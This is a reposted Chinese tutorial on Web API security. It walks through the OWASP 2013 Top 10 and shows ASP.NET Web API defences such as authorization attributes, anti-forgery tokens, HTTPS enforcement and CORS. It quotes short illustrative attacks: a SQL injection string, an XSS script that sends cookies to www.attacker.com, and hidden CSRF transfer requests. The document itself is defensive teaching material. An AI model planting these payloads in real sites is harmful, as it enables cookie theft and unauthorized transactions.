Web API 安全问题
目录
- Web API 安全概览
- 安全隐患
- 1. 注入(Injection)
- 2. 无效认证和Session管理方式(Broken Authentication and Session Management)
- 3. 跨站脚本(Cross-Site Scripting (XSS))
- 4. 直接引用非安全对象(Insecure Direct Object References)
- 5. 错误的安全配置(Security Misconfiguration)
- 6. 暴露敏感数据(Sensitive Data Exposure)
- 7. 功能级权限控制缺失(Missing Function Level Access Control)
- 8. 伪造跨站请求(Cross-Site Request Forgery)
- 9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)
- 10. 未验证跳转(Unvalidated Redirects and Forwards)
 
- Web API安全机制
Web API 安全概览
先引用下wikipedia信息安全的定义:即保护信息免受未经授权的进入、使用、披露、破坏、修改、检视、记录及销毁,从而保证数据的机密性(Confidentiality)、完整性(Integrity)和可靠性(Availability)。
机密性和完整性都很好理解,可靠性作为信息安全的一个重要原则这里特别解释一下,即访问信息的时候保证可以访问的到,有一种攻击方式叫DOS/DDOS,即拒绝服务攻击,专门破坏网站的可用性。
Information security, sometimes shortened to InfoSec, is the practice of defending information from unauthorized access, use, disclosure, disruption, modification, perusal, inspection, recording or destruction.
围绕Web API安全,在不同的层次上有不同的防护措施。例如,
- 网络传输层https数据加密
- 认证方式Knowledge Factors/Ownership Factors/Two-Factor Security
- 服务器系统层权限管理,安全补丁升级更新
- IIS层认证/授权模块管理
- .NET层面的Identity管理,认证模块管理
- Web API授权管理,输入验证
- 数据库层面数据加密,用户权限管理
下图是一个概览。

安全隐患
安全隐患种类繁多,这里简单介绍下OWASP 2013年票选前十位安全隐患。
1. 注入(Injection)
注入是指输入中包含恶意代码(在解释器中会被作为语句执行而非纯文本),直接被传递给给解释器并执行,那么攻击者就可以窃取、修改或者破坏数据。
注入有很多种类型,最常见的如SQL注入、LDAP注入、OS命令注入等。
示例
以下代码是一个典型的SQL注入隐患
| 1 | String query = "SELECT * FROM accounts WHERE customerName='"+ request.getParameter("name") + "'"; | 
如果输入中customerName后面加上一个' or '1'='1,可以想象所有的accounts表数据都回被返回。
防御
- 通过封装API以参数形式来调用解释器,避免将整个解释器功能暴露给客户端。
- 如果没有封装好的安全API,可以考虑将特殊字符转义之后再传递给解释器。
- 更加激进一点的话可以提供一个输入的白名单,只有名单上的数据才可以进入解释器。
2. 无效认证和Session管理方式(Broken Authentication and Session Management)
开发人员经常自己编写认证或session管理模块,但是这种模块需要考虑的因素众多,很难正确完整的实现。所以经常会在登入登出、密码管理、超时设置、安全问题、帐户更新等方面存在安全隐患,给攻击者以可乘之机。
示例
- 用户密码用明文保存,例如2011年12月多家网站数据泄露,其中就发现国内知名技术网站居然也用明文存储用户密码。单纯的客户密码复杂度高还是不够,服务器的坑爹的实现还是会导致客户裸奔。
- 用户密码可以被特殊操作覆盖。例如不正确的实现密码更改功能、恢复密码功能等都有可能造成密码被直接更改。
- 网页URL中包含Session ID。例如你发现一个有趣的网页,然后把链接通过聊天工具贴给其他人,但是这个链接中包含了你的session id,别人点击这个链接就直接使用了你的session,同时他也可以作任何你可以在该网站上允许的操作,例如买张手机冲值卡。
- Session ID不会timeout,或者session/token/SSO token在登出的时候没有将其失效。
- 用户认证信息、Session ID使用未加密连接传输。这里要提一下博客园的认证连接也是不加密的,通过抓报工具很容易抓到用户的密码信息。目前来说我们可以做的是为博客园专门设置一个密码,千万别用自己自己信用卡或支付宝密码。
防御
- 推荐直接使用被广泛应用的认证控件及Session管理模块。
3. 跨站脚本(Cross-Site Scripting (XSS))
允许跨站脚本是Web 2.0时代网站最普遍的问题。如果网站没有对用户提交的数据加以验证而直接输出至网页,那么恶意用户就可以在网页中注入脚本来窃取用户数据。
示例
例如网站通过以下代码直接构造网页输出,
| 1 | (String) page += "<input name='creditcard' type='TEXT' value='"+ request.getParameter("CC") + "'>"; | 
攻击者输入以下数据,
| 1 | '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'. | 
当该数据被输出到页面的时候,每个访问该页面的用户cookie就自动被提交到了攻击者定义好的网站。
防御
- 推荐将所有用户输入数据进行转义
- 激进的方法是提供一个白名单控制用户输入
- 对于富文本输入可以使用anti-xss library来处理输入,例如Microsoft AntiXSS library.
4. 直接对象引用(Insecure Direct Object References)
这个问题在动态网页中也相当普遍,指的是页面存在对数据对象的键/名字的直接引用,而网站程序没有验证用户是否有访问目标对象的权限。
示例
例如一个网站通过以下代码返回客户信息,
| 1 2 3 4 | String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , … );pstmt.setString( 1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery( ); | 
攻击者可以通过修改querystring来查询任何人的信息
防御
- 使用用户级别或Session级别的间接对象引用,比如用户界面上下拉框中选项对应简单数字而不是对象的数据库键值,界面数字与对象键值之间的对应关系在用户级别或session级别维护。
- 控制访问,在真正的操作之前判断用户是否有权限执行该操作或访问目标数据。
5. 错误的安全配置(Security Misconfiguration)
安全配置可能在各个级别(platform/web server/application server/database/framework/custom code)出错,开发人员需要同系统管理合作来确保合理配置。
示例
配置问题的范例比较多样,常见的几种如下,
- 服务器使用过期或存在安全漏洞的软件
- 安装了没有必要的功能
- 系统默认帐户没有禁用或使用默认密码
- 出错信息中包含错误细节(调用栈信息)
- 使用的开发框架中的安全设置没有正确配置
防御
- 开发可复用自动化流程来部署环境,保证开发,测试与生产环境具有相同配置
- 及时更新软件、系统以及使用的框架
- 架构设计充分考虑组件的安全边界分割
- 使用专业扫描工具定期检查安全漏洞
6. 暴露敏感数据(Sensitive Data Exposure)
这种漏洞就是导致知名网站用户信息泄露的关键,通过明文存储敏感数据。
示例
- 密码数据库中通过明文或者通过unsalted hash来存储。攻击通过文件上传漏洞得到密码文件,所有的密码都会泄露。
- 另外一个典型示例就是用户登录使用未加密连接,这里不举例说明了。。。
防御
- 加密所有必须的敏感数据
- 避免存储不必须的敏感数据
- 使用强加密算法
- 使用专门设计的密码加密算法
- 禁用包含敏感数据的form中的自动完成功能,禁用包含敏感数据的页面缓存
7. 功能级权限控制缺失(Missing Function Level Access Control)
功能级别权限控制一般是写在代码中或者通过程序的配置文件来完成,但是可惜的是开发者经常忘记添加一些功能的权限控制代码。
示例
例如以下链接本该只有admin才能访问,但如果匿名用户或者非admin用户可以直接在浏览器中访问该链接,说明网站存在功能级权限控制漏洞。
防御
- 不要hard code权限控制,需要建立一种可以比较容易更新和监测权限控制的机制
- 默认拒绝所有访问,访问任何功能都需要被赋予特定的权限
- 如果某功能在一个workflow中,需要确认所有的前提条件都在正确的状态,然后允许访问该功能
8. 伪造跨站请求(Cross-Site Request Forgery)
同样是跨站请求,这种与问题3的不同之处在于这个请求是从钓鱼网站上发起的。
示例
例如钓鱼网站上包含了下面的隐藏代码,
| 1 | <imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> | 
这行代码的作用就是一个在example.com网站的转帐请求,客户访问钓鱼网站时,如果也同时登录了example.com或者保留了example.com的登录状态,那个相应的隐藏请求就会被成功执行。
防御
- 推荐使用session级别的唯一token保存在hidden field,这样该值就会被包含在请求体中,这样钓鱼网站的请求就无法得知该token从而会使请求失效。
9. 使用已知安全隐患组件(Using Components with Known Vulnerabilities)
几乎每个程序都有这个问题,因为大多数人不会关心自己引用的库文件是否存在已知安全漏洞,而且一旦部署成功就不会再有人关心是否有组件需要升级。然而这些组件在服务器中运行,拥有相当高的权限去访问系统中的各种资源,一旦攻击者利用该组件已知漏洞,那么窃取或破坏信息也将不是难事。
示例
以下两个组件都存在已知的安全缺陷从而可以让攻击者获得服务器最高权限,但是在2011年他们被下载了22M次之多,但是其中有多少被更新了,多少还在继续使用呢。
防御
- 确定系统使用的所有组件及其版本,包括相应的依赖组件
- 关注这些组件相应的项目邮件组、issue数据库的安全更新
- 定义组件安全使用策略,避免滥用组件
- 如果可能的话对组件进行包装,从而禁用其不安全的功能
10. 未验证跳转(Unvalidated Redirects and Forwards)
很多网站都经常会需要进行页面跳转,而且有些跳转会根据用户输入来决定,这样就给了攻击者可乘之机,从而可能将用户导向恶意网站或者未授权链接。
示例
下面页面请求根据query string url字段来进行跳转,这样攻击者很容易伪造类似于以下的跳转链接将客户导向到钓鱼网站。
又如未授权用户通过下面链接跳过授权检查直接到admin页面
防御
- 避免跳转
- 不要根据用户输入来跳转
- 如果必须根据输入跳转,验证该输入并且该用户具备访问该目标路径的权限
- 如果必须根据输入跳转,推荐根据用户输入来内部决定对应的跳转目标,不直接使用输入
Web API安全机制
Web API包含了一套完整的安全机制,而且具备不错的扩展性,这一节我们主要介绍Web API提供的一些基本安全相关的功能。
认证与授权(Authentication and Authorization)
先给认证和授权下个定义。
什么是认证?简单来说认证就是搞清楚用户是谁。
什么是授权?授权就是搞清楚用户可以做什么。
认证
Web API的认证取决于宿主环境配置的认证方式,比如Web API host在IIS,那么在IIS相应的网站上认证配置抑或自定义的认证模块同样会作用于Web API。
在Web API中检查一个请求是否经过认证,可以通过以下属性来判断,
| 1 | Thread.CurrentPrincipal.Identity.IsAuthenticated | 
如果程序需要采用自定义的认证方式,需要同时设置以下两个属性,
- Thread.CurrentPrincipal. This property is the standard way to set the thread's principal in .NET.
- HttpContext.Current.User. This property is specific to ASP.NET.
| 1 2 3 4 5 6 7 8 | privatevoidSetPrincipal(IPrincipal principal){    Thread.CurrentPrincipal = principal;    if(HttpContext.Current != null)    {        HttpContext.Current.User = principal;    }} | 
授权
授权在我们编写API的时候经常会涉及到,Web API也提供了比较完整的授权检查机制。
如果我们想知道认证的用户信息,可以通过ApiController.User来查看。
| 1 2 3 4 5 6 7 | publicHttpResponseMessage Get(){    if(User.IsInRole("Administrators"))    {        // ...    }} | 
另外我们可以在不同级别使用AuthorizeAtrribute来控制不同级别的授权访问。
如果我们希望在全局所有的Controller控制授权,只有授权用户可以访问的话,可以通过以下方式,
| 1 2 3 4 | publicstaticvoidRegister(HttpConfiguration config){    config.Filters.Add(newAuthorizeAttribute());} | 
如果希望控制在个别Controller级别,
| 1 2 3 4 5 6 | [Authorize]publicclassValuesController : ApiController{    publicHttpResponseMessage Get(intid) { ... }    publicHttpResponseMessage Post() { ... }} | 
如果希望控制在个别Action级别,
| 1 2 3 4 5 6 7 8 | publicclassValuesController : ApiController{    publicHttpResponseMessage Get() { ... }    // Require authorization for a specific action.    [Authorize]    publicHttpResponseMessage Post() { ... }} | 
如果希望允许个别Action匿名访问,
| 1 2 3 4 5 6 7 8 | [Authorize]publicclassValuesController : ApiController{    [AllowAnonymous]    publicHttpResponseMessage Get() { ... }    publicHttpResponseMessage Post() { ... }} | 
如果希望允许个别用户或者用户组,
| 1 2 3 4 5 6 7 8 9 10 11 | // Restrict by user:[Authorize(Users="Alice,Bob")]publicclassValuesController : ApiController{}   // Restrict by role:[Authorize(Roles="Administrators")]publicclassValuesController : ApiController{} | 
伪造跨站请求(Cross-Site Request Forgery Attacks)
再来复习一遍什么是伪造跨站请求攻击
1. 用户成功登录了www.example.com,客户端保存了该网站的cookie,并且没有logout。
2. 用户接下来访问了另外一个恶意网站,包含如下代码
| 1 2 3 4 5 6 | <h1>You Are a Winner!</h1>   <inputtype="hidden" name="Transaction" value="withdraw" />   <inputtype="hidden" name="Amount" value="1000000" />   <inputtype="submit" value="Click Me"/></form> | 
3. 用户点击submit按钮,浏览器向example.com发起请求到服务器,执行了攻击者期望的操作。
上面的事例需要用户点击按钮,但网页也可以通过简单的脚本直接在网页加载过程中自动发送各种请求出去。
正如我们之前提到的防御方案所说,ASP.NET MVC中可以通过下面简单的代码可以在页面中添加一个隐藏field,存放一个随机代码,这个随机码会与cookie一起在服务器通过校验。这样其他网站无法得到不同用户的随机代码,也就无法成功执行相应的请求。
| 1 2 3 | @using(Html.BeginForm("Manage", "Account")) {    @Html.AntiForgeryToken()} | 
| 1 2 3 4 5 | <formaction="/Home/Test" method="post">    <inputname="__RequestVerificationToken" type="hidden"              value="6fGBtLZmVBZ59oUad1Fr33BuPxANKY9q3Srr5y[...]" />        <inputtype="submit" value="Submit" /></form> | 
对于没有form的ajax请求,我们无法通过hidden field来自动提交随机码,可以通过以下方式在客户端请求头中嵌入随机码,然后在服务器校验,
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <script>    @functions{        public string TokenHeaderValue()        {            string cookieToken, formToken;            AntiForgery.GetTokens(null, out cookieToken, out formToken);            return cookieToken + ":" + formToken;                        }    }    $.ajax("api/values", {        type: "post",        contentType: "application/json",        data: {  }, // JSON data goes here        dataType: "json",        headers: {            'RequestVerificationToken': '@TokenHeaderValue()'        }    });</script> | 
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | voidValidateRequestHeader(HttpRequestMessage request){    stringcookieToken = "";    stringformToken = "";    IEnumerable tokenHeaders;    if(request.Headers.TryGetValues("RequestVerificationToken", outtokenHeaders))    {        string[] tokens = tokenHeaders.First().Split(':');        if(tokens.Length == 2)        {            cookieToken = tokens[0].Trim();            formToken = tokens[1].Trim();        }    }    AntiForgery.Validate(cookieToken, formToken);} | 
安全链接(SSL)
对于需要启用安全链接的地址,例如认证页面,可以通过以下方式定义AuthorizationFilterAttribute,来定义哪些action必须通过https访问。
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | publicclassRequireHttpsAttribute : AuthorizationFilterAttribute{    publicoverridevoidOnAuthorization(HttpActionContext actionContext)    {        if(actionContext.Request.RequestUri.Scheme != Uri.UriSchemeHttps)        {            actionContext.Response = newHttpResponseMessage(System.Net.HttpStatusCode.Forbidden)            {                ReasonPhrase = "HTTPS Required"            };        }        else        {            base.OnAuthorization(actionContext);        }    }} | 
| 1 2 3 4 5 | publicclassValuesController : ApiController{    [RequireHttps]    publicHttpResponseMessage Get() { ... }} | 
在Visual Studio里面测试的时候可以通过下面的设置来启用SSL链接

IIS中可以通过如下设置来启用SSL链接
| 1 2 3 4 5 6 7 | <system.webServer>    <security>        <accesssslFlags="Ssl, SslNegotiateCert" />        <!-- To require a client cert: -->        <!-- <access sslFlags="Ssl, SslRequireCert" /> -->    </security></system.webServer> | 
跨域请求(Cross-Origin Requests)
跨域请求与前面的跨站伪造请求类似,有些情况下我们需要在网页中通过ajax去其他网站上请求资源,但是浏览器一般会阻止显示ajax请求从其他网站收到的回复(注意浏览器其实发送了请求,但只会显示出错),如果我们希望合理的跨域请求可以成功执行并显示成功,我们需要在目标网站上添加逻辑来针对请求域启用跨域请求。
要启用跨域请求首先要从nuget上添加一个Cors库引用,
Install-Package Microsoft.AspNet.WebApi.Cors
然后在WebApiConfig.Register中添加以下代码
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | usingSystem.Web.Http;namespaceWebService{    publicstaticclassWebApiConfig    {        publicstaticvoidRegister(HttpConfiguration config)        {            // New code            config.EnableCors();            config.Routes.MapHttpRoute(                name: "DefaultApi",                routeTemplate: "api/{controller}/{id}",                defaults: new{ id = RouteParameter.Optional }            );        }    }} | 
接下来就可以在不同级别使用EnableCors属性来控制启用跨域请求了,
Global级别
| 1 2 3 4 5 6 7 8 9 | publicstaticclassWebApiConfig{    publicstaticvoidRegister(HttpConfiguration config)    {        varcors = newEnableCorsAttribute("www.example.com", "*", "*");        config.EnableCors(cors);        // ...    }} | 
Controller级别
| 1 2 3 4 5 6 7 8 9 10 | publicclassItemsController : ApiController{    publicHttpResponseMessage GetAll() { ... }    publicHttpResponseMessage GetItem(intid) { ... }    publicHttpResponseMessage Post() { ... }    [DisableCors]    publicHttpResponseMessage PutItem(intid) { ... }} | 
Action级别
| 1 2 3 4 5 6 7 8 9 10 | publicclassItemsController : ApiController{    publicHttpResponseMessage GetAll() { ... }    publicHttpResponseMessage GetItem(intid) { ... }    publicHttpResponseMessage Post() { ... }    publicHttpResponseMessage PutItem(intid) { ... }} | 
允许跨域请求如何做到的?
浏览器会根据服务器回复的头来检查是否允许该跨域请求,比如浏览器的跨域请求头如下,
| 1 2 3 4 5 6 7 8 | GET http://myservice.azurewebsites.net/api/test HTTP/1.1Referer: http://myclient.azurewebsites.net/Accept: */*Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)Host: myservice.azurewebsites.net | 
如果服务器允许跨域,会添加一个Access-Control-Allow-Origin头来通知浏览器该请求应该被允许,
| 1 2 3 4 5 6 7 8 9 | HTTP/1.1 200 OKCache-Control: no-cachePragma: no-cacheContent-Type: text/plain; charset=utf-8Access-Control-Allow-Origin: http://myclient.azurewebsites.netDate: Wed, 05 Jun 2013 06:27:30 GMTContent-Length: 17GET: Test message | 
本来还写了一个类似于博客园的投票页面,但是文章太长了,加载起来都费劲,下次一起贴出来。
转:http://www.cnblogs.com/developersupport/p/WebAPI-Security.html
Web API 安全问题的更多相关文章
- Web APi之认证(Authentication)两种实现方式【二】(十三)
		前言 上一节我们详细讲解了认证及其基本信息,这一节我们通过两种不同方式来实现认证,并且分析如何合理的利用这两种方式,文中涉及到的基础知识,请参看上一篇文中,就不再叙述废话. 序言 对于所谓的认证说到底 ... 
- Web API 入门指南 - 闲话安全
		Web API入门指南有些朋友回复问了些安全方面的问题,安全方面可以写的东西实在太多了,这里尽量围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患.相关的防御技巧以及Web AP ... 
- 使用ASP.NET Web Api构建基于REST风格的服务实战系列教程【开篇】【持续更新中。。。】
		最近发现web api很火,园内也有各种大神已经在研究,本人在asp.net官网上看到一个系列教程,原文地址:http://bitoftech.net/2013/11/25/detailed-tuto ... 
- WCF与Web API 的应用场景
		Web api 主要功能: 支持基于Http verb (GET, POST, PUT, DELETE)的CRUD (create, retrieve, update, delete)操作 请求的回 ... 
- [转]ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
		本文转自:http://www.cnblogs.com/parry/p/ASPNET_MVC_Web_API_digest_authentication.html 在前一篇文章中,主要讨论了使用HTT ... 
- ASP.NET Web API(三):安全验证之使用摘要认证(digest authentication)
		在前一篇文章中,主要讨论了使用HTTP基本认证的方法,因为HTTP基本认证的方式决定了它在安全性方面存在很大的问题,所以接下来看看另一种验证的方式:digest authentication,即摘要认 ... 
- ASP.NET Web API 安全验证之摘要(Digest)认证
		在基本认证的方式中,主要的安全问题来自于用户信息的明文传输,而在摘要认证中,主要通过一些手段避免了此问题,大大增加了安全性. 1.客户端匿名的方式请求 (无认证) HTTP/ Unauthorized ... 
- Web API 使用上安全吗?
		Web API入门指南有些朋友回复问了些安全方面的问题,安全方面可以写的东西实在太多了,这里尽量围绕着Web API的安全性来展开,介绍一些安全的基本概念,常见安全隐患.相关的防御技巧以及Web AP ... 
- 选择Web API还是WCF
		ASP.NET WCF是.NET平台服务开发的一站式框架,那么为什么还要有ASP.NET Web API呢?简单来说,ASP.NET Web API的设计和构建只考虑了一件事情,那就是HTTP,而WC ... 
随机推荐
- 【转】Visual Studio 非常实用的调试技巧
			下面有从浅入深的6个问题,您可以尝试回答一下 一个如下的语句for (int i = 0; i < 10; i++){if (i == 5)j = 5;},什么都写在一行,你怎么在j=5前面插入 ... 
- CoreAnimation-05-CABasicAnimation
			概述 简介 CABasicAnimation是抽象类CAPropertyAnimation的子类,可以直接使用 CABasicAnimation又称基本动画,从fromValue到toValue按照指 ... 
- 故障时自动重启Apache
			最近不知道为什么博客总是莫名其妙地挂掉, 重启Apache就好了,我也懒得去研究到底是哪里出了问题. 只是每次都需要手工SSH上去重启Apache,有点麻烦. 而且有时候在夜里挂掉,一晚上博客就都不能 ... 
- Linux网络编程&内核学习
			c语言: 基础篇 1.<写给大家看的C语言书(第2版)> 原书名: Absolute Beginner's Guide to C (2nd Edition) 原出版社: Sams 作者: ... 
- Linux学习书目
			Linux基础 1.<Linux与Unix Shell 编程指南> C语言基础 1.<C Primer Plus,5th Edition>[美]Stephen Prata著 2 ... 
- html 关于内部是float元素的外部div高度为0的解决方法!
			最近编写一个页面的时候遇见一个问题,外部div是block的,而内部元素是float的,大家应该都知道float的元素是没有实际高度的,就算你设置了float元素的高度他也不会撑开外部block元素的 ... 
- 给你的Mr.Right画张择偶地图像
			爱一个人就算做不到爱他的全部,至少也应该尊重他的真实,而不是苛求他变成你想要的样子. 娶妻当娶郭芙蓉,经典语录.我是郭芙蓉,我不会武功,我来自江湖,我与众不同.再苦再累,就当自己是二百五,再难再险,就 ... 
- SQL Server 2008 R2——学习/练习/错误/总结/搜集
			==================================声明================================== 本文原创,转载在正文中显要的注明作者和出处,并保证文章的完 ... 
- 使用Spring整合Hibernate,并实现对数据表的增、删、改、查的功能
			1.1 问题 使用Spring整合Hibernate,并实现资费表的增.删.改.查. 1.2 方案 Spring整合Hibernate的步骤: 1.3 步骤 实现此案例需要按照如下步骤进行. 采用的环 ... 
- 版本控制工具VSS使用介绍
			什么是版本控制? 1.怎样对研发项目进行整体管理 2.项目开发小组的成员之间如何以一种有效的机制进行协调 3.如何进行对小组成员各自承担的子项目的统一管理 4.如何对研发小组各成员所作的修改进行统一汇 ... 
